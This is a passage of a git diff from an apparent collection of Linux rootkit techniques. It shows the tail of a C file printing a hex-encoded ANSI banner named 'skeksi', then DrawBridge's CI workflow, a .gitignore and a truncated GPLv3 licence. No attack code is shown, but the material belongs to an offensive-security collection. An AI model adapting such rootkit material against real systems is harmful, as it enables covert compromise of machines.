+"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d" +"\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31" +"\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x53\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20" +"\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74" +"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35" +"\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37" +"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33" +"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d" +"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30" +"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b" +"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d" +"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b" +"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b" +"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b" +"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b" +"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x53\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b" +"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34" +"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b" +"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34" +"\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30" +"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31" +"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30" +"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30" +"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33" +"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a"; + +void display_skeksi(void) +{ + _write(1, (char *)skeksi_banner, sizeof(skeksi_banner)); +} + diff --git a/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml b/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml new file mode 100644 index 0000000..39be6e8 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/.github/workflows/ubuntu-latest.yml @@ -0,0 +1,26 @@ +name: Ubuntu Latest Build CI + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v1 + - name: Ensure kmod is installed + run: sudo apt install kmod + - name: Install python3-setuptools and python3-dev + run: sudo apt install -y python3-setuptools python3-dev + - name: Ensure testinfra and ansible-inventory are installed + run: sudo pip3 install testinfra ansible + - name: Export role directory + run: export ANSIBLE_ROLES_PATH="$(pwd)/ansible/roles" + - name: Install Drawbridge + run: ansible-playbook main.yml + working-directory: ./ansible + - name: Run tests + run: py.test --hosts=localhost --connection=ansible --ansible-inventory=roles/drawbridge/tests/inventory roles/drawbridge/tests/test_drawbridge.py + working-directory: ./ansible + diff --git a/Linux/Rootkit Techniques/DrawBridge/.gitignore b/Linux/Rootkit Techniques/DrawBridge/.gitignore new file mode 100644 index 0000000..cea6b93 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/.gitignore @@ -0,0 +1,6 @@ +*.o +*.pyc +*.ko +*.tmp* +kernel/key.h +tools/target diff --git a/Linux/Rootkit Techniques/DrawBridge/LICENSE b/Linux/Rootkit Techniques/DrawBridge/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having 